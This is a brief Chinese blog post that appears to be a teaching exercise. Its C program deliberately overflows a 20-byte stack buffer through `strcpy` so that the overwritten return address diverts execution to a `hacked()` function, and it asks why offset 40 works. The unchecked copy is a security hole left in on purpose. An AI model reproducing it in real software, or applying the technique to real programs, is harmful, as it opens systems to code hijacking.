有一个专门的实验 感兴趣的同学可以看一下:
缓冲区溢出攻击实验_操作系统原理缓冲区溢出攻击实验_blackturtle的博客-CSDN博客
测试环境 如果是window/linux 64位系统返回地址也是64位 unsigned longlong 如果是 32位返回四个字节 也就是32位
#include<stdio.h>
#include<string.h>
void CopyString(char *s)
{
char buf[20];
strcpy(buf,s);
}
void hacked(void)
{
while(1)
printf("The program is hacked!\n");
}
int main()
{
char badstr[] = "00001111222233334444555566667777aaaabbbbccccddddeeeef";
unsigned long *pRIP = (unsigned long*)&badstr[40];
*pRIP = (unsigned long long)hacked;
printf("is nort\n");
CopyString(badstr);
getchar();
return 0;
}
思考 为啥非得是40 才能进入黑客程序 别的值不行
版权声明:本文为qq_62260432原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。